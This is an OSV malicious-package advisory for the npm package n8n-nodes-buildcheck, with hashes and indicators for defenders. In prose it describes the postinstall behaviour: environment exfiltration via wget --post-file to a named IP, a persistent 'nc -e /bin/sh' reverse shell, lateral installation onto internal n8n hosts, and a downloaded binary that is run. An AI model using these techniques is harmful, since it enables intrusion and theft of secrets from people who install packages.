MAL-2026-16177

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/n8n-nodes-buildcheck/MAL-2026-16177.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-16177
Published
2026-09-15T15:53:20Z
Modified
2026-09-15T16:31:25Z
Summary
Malicious code in n8n-nodes-buildcheck (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (65dcf471b1b0c1765b92cab4922777dd8486ad14cc17bcd9475996585c75eebc)

On npm install, postinstall.js collects the full environment, id, hostname, and /proc/1/cgroup/status into /tmp/.be and uploads it via wget --post-file to http://121.127.33.228:8443/env2. The same postinstall spawns a detached loop that repeatedly runs nc 121.127.33.228 443 -e /bin/sh with a 7-second reconnect interval, giving the remote party a persistent unauthenticated shell on the installer's host. It also attempts to authenticate to an internal n8n instance at http://10.0.3.2:5678 using a hardcoded credential and invokes /rest/nodes/community/install with verify:false to install a sibling package n8n-nodes-sysdiag2, extending compromise to adjacent n8n hosts. When n8n loads the community node, dist/SysDiag.node.js wgets an opaque binary from http://121.127.33.228:8444/mn8n2 into /tmp/.mn2, chmods it executable, and launches it detached.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-020050",
            "import_time": "2026-09-15T16:19:14.271998295Z",
            "modified_time": "2026-09-15T15:53:20Z",
            "sha256": "65dcf471b1b0c1765b92cab4922777dd8486ad14cc17bcd9475996585c75eebc",
            "source": "amazon-inspector",
            "versions": [
                "1.0.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / n8n-nodes-buildcheck

Package

Name
n8n-nodes-buildcheck
View open source insights on deps.dev
Purl
pkg:npm/n8n-nodes-buildcheck

Affected ranges

Affected versions

1.*
1.0.0

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files": [
        {
            "path": "postinstall.js",
            "sha256": "b7b332857fc57f8b67de49330068e4bba420ec507f9ca946a4189f5ce37d2629",
            "tlsh": "2b31c6b47e4544656b89aeb8384e91164e0b980275438df0d4de2def58cf2cef22d8e0"
        },
        {
            "path": "dist/SysDiag.node.js",
            "sha256": "ac8bff6109bfb7d77256011f6181f53d9cda5d00dcc3351eaf457155b42ed472",
            "tlsh": "59f07df0bdbcd5522045c8a47b58914624abc7239839f862758e56291f0e50ce7b2bf4"
        }
    ],
    "package_integrity": [
        {
            "filename": "n8n-nodes-buildcheck-1.0.0.tgz",
            "hashes": {
                "sha1": "1187dd96a3738e829292a774e610b034ccb8ba37",
                "sha512_sri": "sha512-EgoXMliM+pH7HoKR/rcWoNZeUeP/7Y1JgH00WnIFNgxxzwfghTa5hxISyTw3Xh01jCiNbp1FB4DIoOoPgrXiHw=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/n8n-nodes-buildcheck/MAL-2026-16177.json"